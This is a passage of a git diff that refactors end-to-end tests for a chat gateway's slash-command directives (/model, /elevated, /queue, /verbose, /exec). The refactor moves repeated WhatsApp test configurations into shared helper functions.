"sessions.json"); + const storePath = sessionStorePath(home); await getReplyFromConfig( { Body: "/model openai/gpt-4.1-mini", From: "+1222", To: "+1222", CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - }, + makeWhatsAppDirectiveConfig( + home, + { + model: { primary: "anthropic/claude-opus-4-5" }, + models: { + "anthropic/claude-opus-4-5": {}, + "openai/gpt-4.1-mini": {}, }, }, - session: { store: storePath }, - }, + { session: { store: storePath } }, + ), ); assertModelSelection(storePath, { @@ -218,24 +170,22 @@ describe("directive behavior", () => { }); it("supports model aliases on /model directive", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); await getReplyFromConfig( { Body: "/model Opus", From: "+1222", To: "+1222", CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: { primary: "openai/gpt-4.1-mini" }, - workspace: path.join(home, "openclaw"), - models: { - "openai/gpt-4.1-mini": {}, - "anthropic/claude-opus-4-5": { alias: "Opus" }, - }, + makeWhatsAppDirectiveConfig( + home, + { + model: { primary: "openai/gpt-4.1-mini" }, + models: { + "openai/gpt-4.1-mini": {}, + "anthropic/claude-opus-4-5": { alias: "Opus" }, }, }, - session: { store: storePath }, - }, + { session: { store: storePath } }, + ), ); assertModelSelection(storePath, { diff --git a/src/auto-reply/reply.directive.directive-behavior.requires-per-agent-allowlist-addition-global.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.requires-per-agent-allowlist-addition-global.e2e.test.ts index 8e1cb8488e7..2f6117829cf 100644 --- a/src/auto-reply/reply.directive.directive-behavior.requires-per-agent-allowlist-addition-global.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.requires-per-agent-allowlist-addition-global.e2e.test.ts @@ -1,20 +1,33 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it } from "vitest"; import { installDirectiveBehaviorE2EHooks, + makeWhatsAppDirectiveConfig, + replyText, runEmbeddedPiAgent, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; function makeWorkElevatedAllowlistConfig(home: string) { - return { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), + const base = makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + }, + { + tools: { + elevated: { + allowFrom: { whatsapp: ["+1222", "+1333"] }, + }, }, + channels: { whatsapp: { allowFrom: ["+1222", "+1333"] } }, + }, + ); + return { + ...base, + agents: { + ...base.agents, list: [ { id: "work", @@ -26,13 +39,17 @@ function makeWorkElevatedAllowlistConfig(home: string) { }, ], }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222", "+1333"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222", "+1333"] } }, - session: { store: path.join(home, "sessions.json") }, + }; +} + +function makeCommandMessage(body: string, from = "+1222") { + return { + Body: body, + From: from, + To: from, + Provider: "whatsapp", + SenderE164: from, + CommandAuthorized: true, } as const; } @@ -55,7 +72,7 @@ describe("directive behavior", () => { makeWorkElevatedAllowlistConfig(home), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("agents.list[].tools.elevated.allowFrom.whatsapp"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); @@ -64,19 +81,14 @@ describe("directive behavior", () => { await withTempHome(async (home) => { const res = await getReplyFromConfig( { - Body: "/elevated on", - From: "+1333", - To: "+1333", - Provider: "whatsapp", - SenderE164: "+1333", + ...makeCommandMessage("/elevated on", "+1333"), SessionKey: "agent:work:main", - CommandAuthorized: true, }, {}, makeWorkElevatedAllowlistConfig(home), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Elevated mode set to ask"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); @@ -84,34 +96,26 @@ describe("directive behavior", () => { it("warns when elevated is used in direct runtime", async () => { await withTempHome(async (home) => { const res = await getReplyFromConfig( - { - Body: "/elevated off", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, + makeCommandMessage("/elevated off"), {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - sandbox: { mode: "off" }, - }, + makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + sandbox: { mode: "off" }, }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, + { + tools: { + elevated: { + allowFrom: { whatsapp: ["+1222"] }, + }, }, + channels: { whatsapp: { allowFrom: ["+1222"] } }, }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Elevated mode disabled."); expect(text).toContain("Runtime is direct; sandboxing does not apply."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -120,33 +124,23 @@ describe("directive behavior", () => { it("rejects invalid elevated level", async () => { await withTempHome(async (home) => { const res = await getReplyFromConfig( - { - Body: "/elevated maybe", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, + makeCommandMessage("/elevated maybe"), {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + tools: { + elevated: { + allowFrom: { whatsapp: ["+1222"] }, + }, }, + channels: { whatsapp: { allowFrom: ["+1222"] } }, }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Unrecognized elevated level"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); @@ -154,33 +148,23 @@ describe("directive behavior", () => { it("handles multiple directives in a single message", async () => { await withTempHome(async (home) => { const res = await getReplyFromConfig( - { - Body: "/elevated off\n/verbose on", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, + makeCommandMessage("/elevated off\n/verbose on"), {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + tools: { + elevated: { + allowFrom: { whatsapp: ["+1222"] }, + }, }, + channels: { whatsapp: { allowFrom: ["+1222"] } }, }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Elevated mode disabled."); expect(text).toContain("Verbose logging enabled."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); diff --git a/src/auto-reply/reply.directive.directive-behavior.returns-status-alongside-directive-only-acks.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.returns-status-alongside-directive-only-acks.e2e.test.ts index 3ed4d365a06..7b1e4631dec 100644 --- a/src/auto-reply/reply.directive.directive-behavior.returns-status-alongside-directive-only-acks.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.returns-status-alongside-directive-only-acks.e2e.test.ts @@ -13,6 +13,31 @@ import { getReplyFromConfig } from "./reply.js"; describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); + function extractReplyText(res: Awaited>): string { + return (Array.isArray(res) ? res[0]?.text : res?.text) ?? ""; + } + + function makeQueueDirectiveConfig(home: string, storePath: string) { + return { + agents: { + defaults: { + model: "anthropic/claude-opus-4-5", + workspace: path.join(home, "openclaw"), + }, + }, + channels: { whatsapp: { allowFrom: ["*"] } }, + session: { store: storePath }, + }; + } + + async function runQueueDirective(params: { home: string; storePath: string; body: string }) { + return await getReplyFromConfig( + { Body: params.body, From: "+1222", To: "+1222", CommandAuthorized: true }, + {}, + makeQueueDirectiveConfig(params.home, params.storePath), + ); + } + it("returns status alongside directive-only acks", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); @@ -44,7 +69,7 @@ describe("directive behavior", () => { }, ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = extractReplyText(res); expect(text).toContain("Elevated mode disabled."); expect(text).toContain("Session: agent:main:main"); const optionsLine = text?.split("\n").find((line) => line.trim().startsWith("⚙️")); @@ -72,7 +97,7 @@ describe("directive behavior", () => { makeRestrictedElevatedDisabledConfig(home), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = extractReplyText(res); expect(text).not.toContain("elevated"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); @@ -81,22 +106,13 @@ describe("directive behavior", () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - const res = await getReplyFromConfig( - { Body: "/queue interrupt", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); + const res = await runQueueDirective({ + home, + storePath, + body: "/queue interrupt", + }); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = extractReplyText(res); expect(text).toMatch(/^⚙️ Queue mode set to interrupt\./); const store = loadSessionStore(storePath); const entry = Object.values(store)[0]; @@ -108,27 +124,13 @@ describe("directive behavior", () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - const res = await getReplyFromConfig( - { - Body: "/queue collect debounce:2s cap:5 drop:old", - From: "+1222", - To: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); + const res = await runQueueDirective({ + home, + storePath, + body: "/queue collect debounce:2s cap:5 drop:old", + }); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = extractReplyText(res); expect(text).toMatch(/^⚙️ Queue mode set to collect\./); expect(text).toMatch(/Queue debounce set to 2000ms/); expect(text).toMatch(/Queue cap set to 5/); @@ -146,37 +148,9 @@ describe("directive behavior", () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - await getReplyFromConfig( - { Body: "/queue interrupt", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); - - const res = await getReplyFromConfig( - { Body: "/queue reset", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + await runQueueDirective({ home, storePath, body: "/queue interrupt" }); + const res = await runQueueDirective({ home, storePath, body: "/queue reset" }); + const text = extractReplyText(res); expect(text).toMatch(/^⚙️ Queue mode reset to default\./); const store = loadSessionStore(storePath); const entry = Object.values(store)[0]; diff --git a/src/auto-reply/reply.directive.directive-behavior.shows-current-elevated-level-as-off-after.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.shows-current-elevated-level-as-off-after.e2e.test.ts index 385bef76992..2d98a5e7ed4 100644 --- a/src/auto-reply/reply.directive.directive-behavior.shows-current-elevated-level-as-off-after.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.shows-current-elevated-level-as-off-after.e2e.test.ts @@ -1,143 +1,48 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it } from "vitest"; import { loadSessionStore } from "../config/sessions.js"; import { + AUTHORIZED_WHATSAPP_COMMAND, installDirectiveBehaviorE2EHooks, + makeElevatedDirectiveConfig, + replyText, makeRestrictedElevatedDisabledConfig, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; +async function runAuthorizedCommand(home: string, body: string) { + return getReplyFromConfig( + { + ...AUTHORIZED_WHATSAPP_COMMAND, + Body: body, + }, + {}, + makeElevatedDirectiveConfig(home), + ); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("shows current elevated level as off after toggling it off", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - await getReplyFromConfig( - { - Body: "/elevated off", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: storePath }, - }, - ); - - const res = await getReplyFromConfig( - { - Body: "/elevated", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + await runAuthorizedCommand(home, "/elevated off"); + const res = await runAuthorizedCommand(home, "/elevated"); + const text = replyText(res); expect(text).toContain("Current elevated level: off"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); }); it("can toggle elevated off then back on (status reflects on)", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const cfg = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: storePath }, - } as const; - - await getReplyFromConfig( - { - Body: "/elevated off", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - cfg, - ); - await getReplyFromConfig( - { - Body: "/elevated on", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - cfg, - ); - - const res = await getReplyFromConfig( - { - Body: "/status", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - cfg, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const storePath = sessionStorePath(home); + await runAuthorizedCommand(home, "/elevated off"); + await runAuthorizedCommand(home, "/elevated on"); + const res = await runAuthorizedCommand(home, "/status"); + const text = replyText(res); const optionsLine = text?.split("\n").find((line) => line.trim().startsWith("⚙️")); expect(optionsLine).toBeTruthy(); expect(optionsLine).toContain("elevated"); @@ -163,7 +68,7 @@ describe("directive behavior", () => { makeRestrictedElevatedDisabledConfig(home), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("agents.list[].tools.elevated.enabled"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); diff --git a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.e2e.test.ts index df235dfb707..24fe63c8258 100644 --- a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.e2e.test.ts @@ -1,35 +1,58 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { loadSessionStore } from "../config/sessions.js"; import { + AUTHORIZED_WHATSAPP_COMMAND, installDirectiveBehaviorE2EHooks, + makeElevatedDirectiveConfig, + makeWhatsAppDirectiveConfig, + replyText, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; +const COMMAND_MESSAGE_BASE = { + From: "+1222", + To: "+1222", + CommandAuthorized: true, +} as const; + +async function runCommand( + home: string, + body: string, + options: { defaults?: Record; extra?: Record } = {}, +) { + const res = await getReplyFromConfig( + { ...COMMAND_MESSAGE_BASE, Body: body }, + {}, + makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + ...options.defaults, + }, + options.extra ?? {}, + ), + ); + return replyText(res); +} + +async function runElevatedCommand(home: string, body: string) { + return getReplyFromConfig( + { ...AUTHORIZED_WHATSAPP_COMMAND, Body: body }, + {}, + makeElevatedDirectiveConfig(home), + ); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("shows current verbose level when /verbose has no argument", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { Body: "/verbose", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - verboseDefault: "on", - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runCommand(home, "/verbose", { defaults: { verboseDefault: "on" } }); expect(text).toContain("Current verbose level: on"); expect(text).toContain("Options: on, full, off."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -37,21 +60,7 @@ describe("directive behavior", () => { }); it("shows current reasoning level when /reasoning has no argument", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { Body: "/reasoning", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runCommand(home, "/reasoning"); expect(text).toContain("Current reasoning level: off"); expect(text).toContain("Options: on, off, stream."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -59,35 +68,8 @@ describe("directive behavior", () => { }); it("shows current elevated level when /elevated has no argument", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { - Body: "/elevated", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: path.join(home, "sessions.json") }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const res = await runElevatedCommand(home, "/elevated"); + const text = replyText(res); expect(text).toContain("Current elevated level: on"); expect(text).toContain("Options: on, off, ask, full."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -95,21 +77,8 @@ describe("directive behavior", () => { }); it("shows current exec defaults when /exec has no argument", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { - Body: "/exec", - From: "+1222", - To: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, + const text = await runCommand(home, "/exec", { + extra: { tools: { exec: { host: "gateway", @@ -118,11 +87,8 @@ describe("directive behavior", () => { node: "mac-1", }, }, - session: { store: path.join(home, "sessions.json") }, }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + }); expect(text).toContain( "Current exec defaults: host=gateway, security=allowlist, ask=always, node=mac-1.", ); @@ -134,37 +100,9 @@ describe("directive behavior", () => { }); it("persists elevated off and reflects it in /status (even when default is on)", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { - Body: "/elevated off\n/status", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - SenderE164: "+1222", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const storePath = sessionStorePath(home); + const res = await runElevatedCommand(home, "/elevated off\n/status"); + const text = replyText(res); expect(text).toContain("Elevated mode disabled."); const optionsLine = text?.split("\n").find((line) => line.trim().startsWith("⚙️")); expect(optionsLine).toBeTruthy(); @@ -184,7 +122,7 @@ describe("directive behavior", () => { agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); await getReplyFromConfig( { @@ -195,22 +133,7 @@ describe("directive behavior", () => { SenderE164: "+1222", }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - elevatedDefault: "on", - }, - }, - tools: { - elevated: { - allowFrom: { whatsapp: ["+1222"] }, - }, - }, - channels: { whatsapp: { allowFrom: ["+1222"] } }, - session: { store: storePath }, - }, + makeElevatedDirectiveConfig(home), ); const store = loadSessionStore(storePath); diff --git a/src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts index 0de0509fa2e..3336757285c 100644 --- a/src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.supports-fuzzy-model-matches-model-directive.e2e.test.ts @@ -39,66 +39,68 @@ function makeMoonshotConfig(home: string, storePath: string) { describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); + async function runMoonshotModelDirective(params: { + home: string; + storePath: string; + body: string; + }) { + return await getReplyFromConfig( + { Body: params.body, From: "+1222", To: "+1222", CommandAuthorized: true }, + {}, + makeMoonshotConfig(params.home, params.storePath), + ); + } + + function expectMoonshotSelectionFromResponse(params: { + response: Awaited>; + storePath: string; + }) { + const text = Array.isArray(params.response) ? params.response[0]?.text : params.response?.text; + expect(text).toContain("Model set to moonshot/kimi-k2-0905-preview."); + assertModelSelection(params.storePath, { + provider: "moonshot", + model: "kimi-k2-0905-preview", + }); + expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + } + it("supports fuzzy model matches on /model directive", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - const res = await getReplyFromConfig( - { Body: "/model kimi", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - makeMoonshotConfig(home, storePath), - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; - expect(text).toContain("Model set to moonshot/kimi-k2-0905-preview."); - assertModelSelection(storePath, { - provider: "moonshot", - model: "kimi-k2-0905-preview", + const res = await runMoonshotModelDirective({ + home, + storePath, + body: "/model kimi", }); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + + expectMoonshotSelectionFromResponse({ response: res, storePath }); }); }); it("resolves provider-less exact model ids via fuzzy matching when unambiguous", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - const res = await getReplyFromConfig( - { - Body: "/model kimi-k2-0905-preview", - From: "+1222", - To: "+1222", - CommandAuthorized: true, - }, - {}, - makeMoonshotConfig(home, storePath), - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; - expect(text).toContain("Model set to moonshot/kimi-k2-0905-preview."); - assertModelSelection(storePath, { - provider: "moonshot", - model: "kimi-k2-0905-preview", + const res = await runMoonshotModelDirective({ + home, + storePath, + body: "/model kimi-k2-0905-preview", }); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + + expectMoonshotSelectionFromResponse({ response: res, storePath }); }); }); it("supports fuzzy matches within a provider on /model provider/model", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - const res = await getReplyFromConfig( - { Body: "/model moonshot/kimi", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - makeMoonshotConfig(home, storePath), - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; - expect(text).toContain("Model set to moonshot/kimi-k2-0905-preview."); - assertModelSelection(storePath, { - provider: "moonshot", - model: "kimi-k2-0905-preview", + const res = await runMoonshotModelDirective({ + home, + storePath, + body: "/model moonshot/kimi", }); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + + expectMoonshotSelectionFromResponse({ response: res, storePath }); }); }); it("picks the best fuzzy match when multiple models match", async () => { diff --git a/src/auto-reply/reply.directive.directive-behavior.updates-tool-verbose-during-flight-run-toggle.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.updates-tool-verbose-during-flight-run-toggle.e2e.test.ts index 9afbaaae3ae..0e1c34e6ed5 100644 --- a/src/auto-reply/reply.directive.directive-behavior.updates-tool-verbose-during-flight-run-toggle.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.updates-tool-verbose-during-flight-run-toggle.e2e.test.ts @@ -1,20 +1,41 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { loadSessionStore, resolveSessionKey, saveSessionStore } from "../config/sessions.js"; import { installDirectiveBehaviorE2EHooks, + makeWhatsAppDirectiveConfig, + replyText, + replyTexts, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; +async function runModelDirectiveAndGetText( + home: string, + body: string, +): Promise { + const res = await getReplyFromConfig( + { Body: body, From: "+1222", To: "+1222", CommandAuthorized: true }, + {}, + makeWhatsAppDirectiveConfig(home, { + model: { primary: "anthropic/claude-opus-4-5" }, + models: { + "anthropic/claude-opus-4-5": {}, + "openai/gpt-4.1-mini": {}, + }, + }), + ); + return replyText(res); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("updates tool verbose during an in-flight run (toggle on)", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); const ctx = { Body: "please do the thing", From: "+1004", To: "+2000" }; const sessionKey = resolveSessionKey( "per-sender", @@ -49,26 +70,23 @@ describe("directive behavior", () => { const res = await getReplyFromConfig( ctx, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: storePath }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, + ), ); - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = replyTexts(res); expect(texts).toContain("done"); expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); }); }); it("updates tool verbose during an in-flight run (toggle off)", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); const ctx = { Body: "please do the thing", From: "+1004", @@ -107,61 +125,35 @@ describe("directive behavior", () => { await getReplyFromConfig( { Body: "/verbose on", From: ctx.From, To: ctx.To, CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: storePath }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, + ), ); const res = await getReplyFromConfig( ctx, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: storePath }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, + ), ); - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = replyTexts(res); expect(texts).toContain("done"); expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); }); }); it("shows summary on /model", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - }, - }, - }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runModelDirectiveAndGetText(home, "/model"); expect(text).toContain("Current: anthropic/claude-opus-4-5"); expect(text).toContain("Switch: /model "); expect(text).toContain("Browse: /models (providers) or /models (models)"); @@ -172,27 +164,7 @@ describe("directive behavior", () => { }); it("lists allowlisted models on /model status", async () => { await withTempHome(async (home) 